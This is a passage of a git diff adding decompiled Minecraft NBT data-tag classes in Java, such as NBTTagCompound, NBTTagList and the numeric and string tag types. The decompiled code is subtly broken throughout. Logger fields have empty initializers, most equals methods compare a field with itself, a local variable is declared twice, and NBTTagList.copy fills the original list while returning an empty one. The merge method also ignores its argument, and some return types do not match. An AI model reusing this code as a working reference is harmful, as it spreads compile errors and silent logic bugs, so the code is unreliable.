+    return super.equals(p_equals_1_) ? Arrays.equals(data, data) : false;
+  }
+  
+  public int hashCode()
+  {
+    return super.hashCode() ^ Arrays.hashCode(data);
+  }
+  
+  public byte[] getByteArray()
+  {
+    return data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagCompound.java b/src/minecraft/net/minecraft/nbt/NBTTagCompound.java
new file mode 100644
index 0000000..66a5c48
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagCompound.java
@@ -0,0 +1,562 @@
+package net.minecraft.nbt;
+
+import com.google.common.collect.Maps;
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.ReportedException;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class NBTTagCompound extends NBTBase
+{
+  private static final Logger logger = ;
+  
+
+
+
+  private Map tagMap = Maps.newHashMap();
+  private static final String __OBFID = "CL_00001215";
+  
+  public NBTTagCompound() {}
+  
+  void write(DataOutput output)
+    throws IOException
+  {
+    Iterator var2 = tagMap.keySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      NBTBase var4 = (NBTBase)tagMap.get(var3);
+      writeEntry(var3, var4, output);
+    }
+    
+    output.writeByte(0);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    if (depth > 512)
+    {
+      throw new RuntimeException("Tried to read NBT tag with too high complexity, depth > 512");
+    }
+    
+
+    tagMap.clear();
+    
+    byte var4;
+    while ((var4 = readType(input, sizeTracker)) != 0) {
+      byte var4;
+      String var5 = readKey(input, sizeTracker);
+      sizeTracker.read(16 * var5.length());
+      NBTBase var6 = readNBT(var4, var5, input, depth + 1, sizeTracker);
+      tagMap.put(var5, var6);
+    }
+  }
+  
+
+
+
+
+  public Set getKeySet()
+  {
+    return tagMap.keySet();
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 10;
+  }
+  
+
+
+
+  public void setTag(String key, NBTBase value)
+  {
+    tagMap.put(key, value);
+  }
+  
+
+
+
+  public void setByte(String key, byte value)
+  {
+    tagMap.put(key, new NBTTagByte(value));
+  }
+  
+
+
+
+  public void setShort(String key, short value)
+  {
+    tagMap.put(key, new NBTTagShort(value));
+  }
+  
+
+
+
+  public void setInteger(String key, int value)
+  {
+    tagMap.put(key, new NBTTagInt(value));
+  }
+  
+
+
+
+  public void setLong(String key, long value)
+  {
+    tagMap.put(key, new NBTTagLong(value));
+  }
+  
+
+
+
+  public void setFloat(String key, float value)
+  {
+    tagMap.put(key, new NBTTagFloat(value));
+  }
+  
+
+
+
+  public void setDouble(String key, double value)
+  {
+    tagMap.put(key, new NBTTagDouble(value));
+  }
+  
+
+
+
+  public void setString(String key, String value)
+  {
+    tagMap.put(key, new NBTTagString(value));
+  }
+  
+
+
+
+  public void setByteArray(String key, byte[] value)
+  {
+    tagMap.put(key, new NBTTagByteArray(value));
+  }
+  
+
+
+
+  public void setIntArray(String key, int[] value)
+  {
+    tagMap.put(key, new NBTTagIntArray(value));
+  }
+  
+
+
+
+  public void setBoolean(String key, boolean value)
+  {
+    setByte(key, (byte)(value ? 1 : 0));
+  }
+  
+
+
+
+  public NBTBase getTag(String key)
+  {
+    return (NBTBase)tagMap.get(key);
+  }
+  
+
+
+
+  public byte getTagType(String key)
+  {
+    NBTBase var2 = (NBTBase)tagMap.get(key);
+    return var2 != null ? var2.getId() : 0;
+  }
+  
+
+
+
+  public boolean hasKey(String key)
+  {
+    return tagMap.containsKey(key);
+  }
+  
+  public boolean hasKey(String key, int type)
+  {
+    byte var3 = getTagType(key);
+    
+    if (var3 == type)
+    {
+      return true;
+    }
+    if (type != 99)
+    {
+      if (var3 > 0) {}
+      
+
+
+
+      return false;
+    }
+    
+
+    return (var3 == 1) || (var3 == 2) || (var3 == 3) || (var3 == 4) || (var3 == 5) || (var3 == 6);
+  }
+  
+
+
+
+
+  public byte getByte(String key)
+  {
+    try
+    {
+      return !hasKey(key, 99) ? 0 : ((NBTBase.NBTPrimitive)tagMap.get(key)).getByte();
+    }
+    catch (ClassCastException var3) {}
+    
+    return 0;
+  }
+  
+
+
+
+
+  public short getShort(String key)
+  {
+    try
+    {
+      return !hasKey(key, 99) ? 0 : ((NBTBase.NBTPrimitive)tagMap.get(key)).getShort();
+    }
+    catch (ClassCastException var3) {}
+    
+    return 0;
+  }
+  
+
+
+
+
+  public int getInteger(String key)
+  {
+    try
+    {
+      return !hasKey(key, 99) ? 0 : ((NBTBase.NBTPrimitive)tagMap.get(key)).getInt();
+    }
+    catch (ClassCastException var3) {}
+    
+    return 0;
+  }
+  
+
+
+
+
+  public long getLong(String key)
+  {
+    try
+    {
+      return !hasKey(key, 99) ? 0L : ((NBTBase.NBTPrimitive)tagMap.get(key)).getLong();
+    }
+    catch (ClassCastException var3) {}
+    
+    return 0L;
+  }
+  
+
+
+
+
+  public float getFloat(String key)
+  {
+    try
+    {
+      return !hasKey(key, 99) ? 0.0F : ((NBTBase.NBTPrimitive)tagMap.get(key)).getFloat();
+    }
+    catch (ClassCastException var3) {}
+    
+    return 0.0F;
+  }
+  
+
+
+
+
+  public double getDouble(String key)
+  {
+    try
+    {
+      return !hasKey(key, 99) ? 0.0D : ((NBTBase.NBTPrimitive)tagMap.get(key)).getDouble();
+    }
+    catch (ClassCastException var3) {}
+    
+    return 0.0D;
+  }
+  
+
+
+
+
+  public String getString(String key)
+  {
+    try
+    {
+      return !hasKey(key, 8) ? "" : ((NBTBase)tagMap.get(key)).getString();
+    }
+    catch (ClassCastException var3) {}
+    
+    return "";
+  }
+  
+
+
+
+
+  public byte[] getByteArray(String key)
+  {
+    try
+    {
+      return !hasKey(key, 7) ? new byte[0] : ((NBTTagByteArray)tagMap.get(key)).getByteArray();
+    }
+    catch (ClassCastException var3)
+    {
+      throw new ReportedException(createCrashReport(key, 7, var3));
+    }
+  }
+  
+
+
+
+  public int[] getIntArray(String key)
+  {
+    try
+    {
+      return !hasKey(key, 11) ? new int[0] : ((NBTTagIntArray)tagMap.get(key)).getIntArray();
+    }
+    catch (ClassCastException var3)
+    {
+      throw new ReportedException(createCrashReport(key, 11, var3));
+    }
+  }
+  
+
+
+
+
+  public NBTTagCompound getCompoundTag(String key)
+  {
+    try
+    {
+      return !hasKey(key, 10) ? new NBTTagCompound() : (NBTTagCompound)tagMap.get(key);
+    }
+    catch (ClassCastException var3)
+    {
+      throw new ReportedException(createCrashReport(key, 10, var3));
+    }
+  }
+  
+
+
+
+  public NBTTagList getTagList(String key, int type)
+  {
+    try
+    {
+      if (getTagType(key) != 9)
+      {
+        return new NBTTagList();
+      }
+      
+
+      NBTTagList var3 = (NBTTagList)tagMap.get(key);
+      return (var3.tagCount() > 0) && (var3.getTagType() != type) ? new NBTTagList() : var3;
+
+    }
+    catch (ClassCastException var4)
+    {
+      throw new ReportedException(createCrashReport(key, 9, var4));
+    }
+  }
+  
+
+
+
+
+  public boolean getBoolean(String key)
+  {
+    return getByte(key) != 0;
+  }
+  
+
+
+
+  public void removeTag(String key)
+  {
+    tagMap.remove(key);
+  }
+  
+  public String toString()
+  {
+    String var1 = "{";
+    
+    String var3;
+    for (Iterator var2 = tagMap.keySet().iterator(); var2.hasNext(); var1 = var1 + var3 + ':' + tagMap.get(var3) + ',')
+    {
+      var3 = (String)var2.next();
+    }
+    
+    return var1 + "}";
+  }
+  
+
+
+
+  public boolean hasNoTags()
+  {
+    return tagMap.isEmpty();
+  }
+  
+
+
+
+  private CrashReport createCrashReport(final String key, final int expectedType, ClassCastException ex)
+  {
+    CrashReport var4 = CrashReport.makeCrashReport(ex, "Reading NBT data");
+    CrashReportCategory var5 = var4.makeCategoryDepth("Corrupt NBT tag", 1);
+    var5.addCrashSectionCallable("Tag type found", new Callable()
+    {
+      private static final String __OBFID = "CL_00001216";
+      
+      public String call() {
+        return NBTBase.NBT_TYPES[((NBTBase)tagMap.get(key)).getId()];
+      }
+    });
+    var5.addCrashSectionCallable("Tag type expected", new Callable()
+    {
+      private static final String __OBFID = "CL_00001217";
+      
+      public String call() {
+        return NBTBase.NBT_TYPES[expectedType];
+      }
+    });
+    var5.addCrashSection("Tag name", key);
+    return var4;
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    Iterator var2 = tagMap.keySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      var1.setTag(var3, ((NBTBase)tagMap.get(var3)).copy());
+    }
+    
+    return var1;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (super.equals(p_equals_1_))
+    {
+      NBTTagCompound var2 = (NBTTagCompound)p_equals_1_;
+      return tagMap.entrySet().equals(tagMap.entrySet());
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode() ^ tagMap.hashCode();
+  }
+  
+  private static void writeEntry(String name, NBTBase data, DataOutput output) throws IOException
+  {
+    output.writeByte(data.getId());
+    
+    if (data.getId() != 0)
+    {
+      output.writeUTF(name);
+      data.write(output);
+    }
+  }
+  
+  private static byte readType(DataInput input, NBTSizeTracker sizeTracker) throws IOException
+  {
+    return input.readByte();
+  }
+  
+  private static String readKey(DataInput input, NBTSizeTracker sizeTracker) throws IOException
+  {
+    return input.readUTF();
+  }
+  
+  static NBTBase readNBT(byte id, String key, DataInput input, int depth, NBTSizeTracker sizeTracker)
+  {
+    NBTBase var5 = NBTBase.createNewByType(id);
+    
+    try
+    {
+      var5.read(input, depth, sizeTracker);
+      return var5;
+    }
+    catch (IOException var9)
+    {
+      CrashReport var7 = CrashReport.makeCrashReport(var9, "Loading NBT data");
+      CrashReportCategory var8 = var7.makeCategory("NBT Tag");
+      var8.addCrashSection("Tag name", key);
+      var8.addCrashSection("Tag type", Byte.valueOf(id));
+      throw new ReportedException(var7);
+    }
+  }
+  
+
+
+
+
+  public void merge(NBTTagCompound other)
+  {
+    Iterator var2 = tagMap.keySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      NBTBase var4 = (NBTBase)tagMap.get(var3);
+      
+      if (var4.getId() == 10)
+      {
+        if (hasKey(var3, 10))
+        {
+          NBTTagCompound var5 = getCompoundTag(var3);
+          var5.merge((NBTTagCompound)var4);
+        }
+        else
+        {
+          setTag(var3, var4.copy());
+        }
+        
+      }
+      else {
+        setTag(var3, var4.copy());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagDouble.java b/src/minecraft/net/minecraft/nbt/NBTTagDouble.java
new file mode 100644
index 0000000..c20f94a
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagDouble.java
@@ -0,0 +1,104 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+import net.minecraft.util.MathHelper;
+
+public class NBTTagDouble
+  extends NBTBase.NBTPrimitive
+{
+  private double data;
+  private static final String __OBFID = "CL_00001218";
+  
+  NBTTagDouble() {}
+  
+  public NBTTagDouble(double data)
+  {
+    this.data = data;
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeDouble(data);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    sizeTracker.read(64L);
+    data = input.readDouble();
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 6;
+  }
+  
+  public String toString()
+  {
+    return data + "d";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    return new NBTTagDouble(data);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (super.equals(p_equals_1_))
+    {
+      NBTTagDouble var2 = (NBTTagDouble)p_equals_1_;
+      return data == data;
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    long var1 = Double.doubleToLongBits(data);
+    return super.hashCode() ^ (int)(var1 ^ var1 >>> 32);
+  }
+  
+  public long getLong()
+  {
+    return Math.floor(data);
+  }
+  
+  public int getInt()
+  {
+    return MathHelper.floor_double(data);
+  }
+  
+  public short getShort()
+  {
+    return (short)(MathHelper.floor_double(data) & 0xFFFF);
+  }
+  
+  public byte getByte()
+  {
+    return (byte)(MathHelper.floor_double(data) & 0xFF);
+  }
+  
+  public double getDouble()
+  {
+    return data;
+  }
+  
+  public float getFloat()
+  {
+    return (float)data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagEnd.java b/src/minecraft/net/minecraft/nbt/NBTTagEnd.java
new file mode 100644
index 0000000..60805ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagEnd.java
@@ -0,0 +1,38 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+
+public class NBTTagEnd
+  extends NBTBase
+{
+  private static final String __OBFID = "CL_00001219";
+  
+  public NBTTagEnd() {}
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker)
+    throws IOException
+  {}
+  
+  void write(DataOutput output) throws IOException
+  {}
+  
+  public byte getId()
+  {
+    return 0;
+  }
+  
+  public String toString()
+  {
+    return "END";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    return new NBTTagEnd();
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagFloat.java b/src/minecraft/net/minecraft/nbt/NBTTagFloat.java
new file mode 100644
index 0000000..a0be88a
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagFloat.java
@@ -0,0 +1,103 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+import net.minecraft.util.MathHelper;
+
+public class NBTTagFloat
+  extends NBTBase.NBTPrimitive
+{
+  private float data;
+  private static final String __OBFID = "CL_00001220";
+  
+  NBTTagFloat() {}
+  
+  public NBTTagFloat(float data)
+  {
+    this.data = data;
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeFloat(data);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    sizeTracker.read(32L);
+    data = input.readFloat();
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 5;
+  }
+  
+  public String toString()
+  {
+    return data + "f";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    return new NBTTagFloat(data);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (super.equals(p_equals_1_))
+    {
+      NBTTagFloat var2 = (NBTTagFloat)p_equals_1_;
+      return data == data;
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode() ^ Float.floatToIntBits(data);
+  }
+  
+  public long getLong()
+  {
+    return data;
+  }
+  
+  public int getInt()
+  {
+    return MathHelper.floor_float(data);
+  }
+  
+  public short getShort()
+  {
+    return (short)(MathHelper.floor_float(data) & 0xFFFF);
+  }
+  
+  public byte getByte()
+  {
+    return (byte)(MathHelper.floor_float(data) & 0xFF);
+  }
+  
+  public double getDouble()
+  {
+    return data;
+  }
+  
+  public float getFloat()
+  {
+    return data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagInt.java b/src/minecraft/net/minecraft/nbt/NBTTagInt.java
new file mode 100644
index 0000000..454beab
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagInt.java
@@ -0,0 +1,102 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+
+public class NBTTagInt
+  extends NBTBase.NBTPrimitive
+{
+  private int data;
+  private static final String __OBFID = "CL_00001223";
+  
+  NBTTagInt() {}
+  
+  public NBTTagInt(int data)
+  {
+    this.data = data;
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeInt(data);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    sizeTracker.read(32L);
+    data = input.readInt();
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 3;
+  }
+  
+  public String toString()
+  {
+    return data;
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    return new NBTTagInt(data);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (super.equals(p_equals_1_))
+    {
+      NBTTagInt var2 = (NBTTagInt)p_equals_1_;
+      return data == data;
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode() ^ data;
+  }
+  
+  public long getLong()
+  {
+    return data;
+  }
+  
+  public int getInt()
+  {
+    return data;
+  }
+  
+  public short getShort()
+  {
+    return (short)(data & 0xFFFF);
+  }
+  
+  public byte getByte()
+  {
+    return (byte)(data & 0xFF);
+  }
+  
+  public double getDouble()
+  {
+    return data;
+  }
+  
+  public float getFloat()
+  {
+    return data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagIntArray.java b/src/minecraft/net/minecraft/nbt/NBTTagIntArray.java
new file mode 100644
index 0000000..11487c5
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagIntArray.java
@@ -0,0 +1,93 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+import java.util.Arrays;
+
+public class NBTTagIntArray
+  extends NBTBase
+{
+  private int[] intArray;
+  private static final String __OBFID = "CL_00001221";
+  
+  NBTTagIntArray() {}
+  
+  public NBTTagIntArray(int[] p_i45132_1_)
+  {
+    intArray = p_i45132_1_;
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeInt(intArray.length);
+    
+    for (int var2 = 0; var2 < intArray.length; var2++)
+    {
+      output.writeInt(intArray[var2]);
+    }
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    int var4 = input.readInt();
+    sizeTracker.read(32 * var4);
+    intArray = new int[var4];
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      intArray[var5] = input.readInt();
+    }
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 11;
+  }
+  
+  public String toString()
+  {
+    String var1 = "[";
+    int[] var2 = intArray;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      int var5 = var2[var4];
+      var1 = var1 + var5 + ",";
+    }
+    
+    return var1 + "]";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    int[] var1 = new int[intArray.length];
+    System.arraycopy(intArray, 0, var1, 0, intArray.length);
+    return new NBTTagIntArray(var1);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    return super.equals(p_equals_1_) ? Arrays.equals(intArray, intArray) : false;
+  }
+  
+  public int hashCode()
+  {
+    return super.hashCode() ^ Arrays.hashCode(intArray);
+  }
+  
+  public int[] getIntArray()
+  {
+    return intArray;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagList.java b/src/minecraft/net/minecraft/nbt/NBTTagList.java
new file mode 100644
index 0000000..b7b38e9
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagList.java
@@ -0,0 +1,282 @@
+package net.minecraft.nbt;
+
+import com.google.common.collect.Lists;
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class NBTTagList extends NBTBase
+{
+  private static final Logger LOGGER = ;
+  
+
+  private List tagList = Lists.newArrayList();
+  
+
+
+
+  private byte tagType = 0;
+  private static final String __OBFID = "CL_00001224";
+  
+  public NBTTagList() {}
+  
+  void write(DataOutput output)
+    throws IOException
+  {
+    if (!tagList.isEmpty())
+    {
+      tagType = ((NBTBase)tagList.get(0)).getId();
+    }
+    else
+    {
+      tagType = 0;
+    }
+    
+    output.writeByte(tagType);
+    output.writeInt(tagList.size());
+    
+    for (int var2 = 0; var2 < tagList.size(); var2++)
+    {
+      ((NBTBase)tagList.get(var2)).write(output);
+    }
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    if (depth > 512)
+    {
+      throw new RuntimeException("Tried to read NBT tag with too high complexity, depth > 512");
+    }
+    
+
+    sizeTracker.read(8L);
+    tagType = input.readByte();
+    int var4 = input.readInt();
+    tagList = Lists.newArrayList();
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      NBTBase var6 = NBTBase.createNewByType(tagType);
+      var6.read(input, depth + 1, sizeTracker);
+      tagList.add(var6);
+    }
+  }
+  
+
+
+
+
+  public byte getId()
+  {
+    return 9;
+  }
+  
+  public String toString()
+  {
+    String var1 = "[";
+    int var2 = 0;
+    
+    for (Iterator var3 = tagList.iterator(); var3.hasNext(); var2++)
+    {
+      NBTBase var4 = (NBTBase)var3.next();
+      var1 = var1 + var2 + ':' + var4 + ',';
+    }
+    
+    return var1 + "]";
+  }
+  
+
+
+
+
+  public void appendTag(NBTBase nbt)
+  {
+    if (tagType == 0)
+    {
+      tagType = nbt.getId();
+    }
+    else if (tagType != nbt.getId())
+    {
+      LOGGER.warn("Adding mismatching tag types to tag list");
+      return;
+    }
+    
+    tagList.add(nbt);
+  }
+  
+
+
+
+  public void set(int idx, NBTBase nbt)
+  {
+    if ((idx >= 0) && (idx < tagList.size()))
+    {
+      if (tagType == 0)
+      {
+        tagType = nbt.getId();
+      }
+      else if (tagType != nbt.getId())
+      {
+        LOGGER.warn("Adding mismatching tag types to tag list");
+        return;
+      }
+      
+      tagList.set(idx, nbt);
+    }
+    else
+    {
+      LOGGER.warn("index out of bounds to set tag in tag list");
+    }
+  }
+  
+
+
+
+  public NBTBase removeTag(int i)
+  {
+    return (NBTBase)tagList.remove(i);
+  }
+  
+
+
+
+  public boolean hasNoTags()
+  {
+    return tagList.isEmpty();
+  }
+  
+
+
+
+  public NBTTagCompound getCompoundTagAt(int i)
+  {
+    if ((i >= 0) && (i < tagList.size()))
+    {
+      NBTBase var2 = (NBTBase)tagList.get(i);
+      return var2.getId() == 10 ? (NBTTagCompound)var2 : new NBTTagCompound();
+    }
+    
+
+    return new NBTTagCompound();
+  }
+  
+
+  public int[] getIntArray(int i)
+  {
+    if ((i >= 0) && (i < tagList.size()))
+    {
+      NBTBase var2 = (NBTBase)tagList.get(i);
+      return var2.getId() == 11 ? ((NBTTagIntArray)var2).getIntArray() : new int[0];
+    }
+    
+
+    return new int[0];
+  }
+  
+
+  public double getDouble(int i)
+  {
+    if ((i >= 0) && (i < tagList.size()))
+    {
+      NBTBase var2 = (NBTBase)tagList.get(i);
+      return var2.getId() == 6 ? ((NBTTagDouble)var2).getDouble() : 0.0D;
+    }
+    
+
+    return 0.0D;
+  }
+  
+
+  public float getFloat(int i)
+  {
+    if ((i >= 0) && (i < tagList.size()))
+    {
+      NBTBase var2 = (NBTBase)tagList.get(i);
+      return var2.getId() == 5 ? ((NBTTagFloat)var2).getFloat() : 0.0F;
+    }
+    
+
+    return 0.0F;
+  }
+  
+
+
+
+
+  public String getStringTagAt(int i)
+  {
+    if ((i >= 0) && (i < tagList.size()))
+    {
+      NBTBase var2 = (NBTBase)tagList.get(i);
+      return var2.getId() == 8 ? var2.getString() : var2.toString();
+    }
+    
+
+    return "";
+  }
+  
+
+
+
+
+  public NBTBase get(int idx)
+  {
+    return (idx >= 0) && (idx < tagList.size()) ? (NBTBase)tagList.get(idx) : new NBTTagEnd();
+  }
+  
+
+
+
+  public int tagCount()
+  {
+    return tagList.size();
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    NBTTagList var1 = new NBTTagList();
+    tagType = tagType;
+    Iterator var2 = tagList.iterator();
+    
+    while (var2.hasNext())
+    {
+      NBTBase var3 = (NBTBase)var2.next();
+      NBTBase var4 = var3.copy();
+      tagList.add(var4);
+    }
+    
+    return var1;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (super.equals(p_equals_1_))
+    {
+      NBTTagList var2 = (NBTTagList)p_equals_1_;
+      
+      if (tagType == tagType)
+      {
+        return tagList.equals(tagList);
+      }
+    }
+    
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return super.hashCode() ^ tagList.hashCode();
+  }
+  
+  public int getTagType()
+  {
+    return tagType;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagLong.java b/src/minecraft/net/minecraft/nbt/NBTTagLong.java
new file mode 100644
index 0000000..592d58f
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagLong.java
@@ -0,0 +1,102 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+
+public class NBTTagLong
+  extends NBTBase.NBTPrimitive
+{
+  private long data;
+  private static final String __OBFID = "CL_00001225";
+  
+  NBTTagLong() {}
+  
+  public NBTTagLong(long data)
+  {
+    this.data = data;
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeLong(data);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    sizeTracker.read(64L);
+    data = input.readLong();
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 4;
+  }
+  
+  public String toString()
+  {
+    return data + "L";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    return new NBTTagLong(data);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (super.equals(p_equals_1_))
+    {
+      NBTTagLong var2 = (NBTTagLong)p_equals_1_;
+      return data == data;
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode() ^ (int)(data ^ data >>> 32);
+  }
+  
+  public long getLong()
+  {
+    return data;
+  }
+  
+  public int getInt()
+  {
+    return (int)(data & 0xFFFFFFFFFFFFFFFF);
+  }
+  
+  public short getShort()
+  {
+    return (short)(int)(data & 0xFFFF);
+  }
+  
+  public byte getByte()
+  {
+    return (byte)(int)(data & 0xFF);
+  }
+  
+  public double getDouble()
+  {
+    return data;
+  }
+  
+  public float getFloat()
+  {
+    return (float)data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagShort.java b/src/minecraft/net/minecraft/nbt/NBTTagShort.java
new file mode 100644
index 0000000..5eb4cd6
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagShort.java
@@ -0,0 +1,102 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+
+public class NBTTagShort
+  extends NBTBase.NBTPrimitive
+{
+  private short data;
+  private static final String __OBFID = "CL_00001227";
+  
+  public NBTTagShort() {}
+  
+  public NBTTagShort(short data)
+  {
+    this.data = data;
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeShort(data);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    sizeTracker.read(16L);
+    data = input.readShort();
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 2;
+  }
+  
+  public String toString()
+  {
+    return data + "s";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    return new NBTTagShort(data);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (super.equals(p_equals_1_))
+    {
+      NBTTagShort var2 = (NBTTagShort)p_equals_1_;
+      return data == data;
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode() ^ data;
+  }
+  
+  public long getLong()
+  {
+    return data;
+  }
+  
+  public int getInt()
+  {
+    return data;
+  }
+  
+  public short getShort()
+  {
+    return data;
+  }
+  
+  public byte getByte()
+  {
+    return (byte)(data & 0xFF);
+  }
+  
+  public double getDouble()
+  {
+    return data;
+  }
+  
+  public float getFloat()
+  {
+    return data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagString.java b/src/minecraft/net/minecraft/nbt/NBTTagString.java
new file mode 100644
index 0000000..e152c52
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagString.java
@@ -0,0 +1,93 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+
+public class NBTTagString
+  extends NBTBase
+{
+  private String data;
+  private static final String __OBFID = "CL_00001228";
+  
+  public NBTTagString()
+  {
+    data = "";
+  }
+  
+  public NBTTagString(String data)
+  {
+    this.data = data;
+    
+    if (data == null)
+    {
+      throw new IllegalArgumentException("Empty string not allowed");
+    }
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeUTF(data);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    data = input.readUTF();
+    sizeTracker.read(16 * data.length());
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 8;
+  }
+  
+  public String toString()
+  {
+    return "\"" + data.replace("\"", "\\\"") + "\"";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    return new NBTTagString(data);
+  }
+  
+
+
+
+  public boolean hasNoTags()
+  {
+    return data.isEmpty();
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (!super.equals(p_equals_1_))
+    {
+      return false;
+    }
+    
+
+    NBTTagString var2 = (NBTTagString)p_equals_1_;
+    return ((data == null) && (data == null)) || ((data != null) && (data.equals(data)));
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode() ^ data.hashCode();
+  }
+  
+  public String getString()
+  {
+    return data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTUtil.java b/src/minecraft/net/minecraft/nbt/NBTUtil.java
new file mode 100644
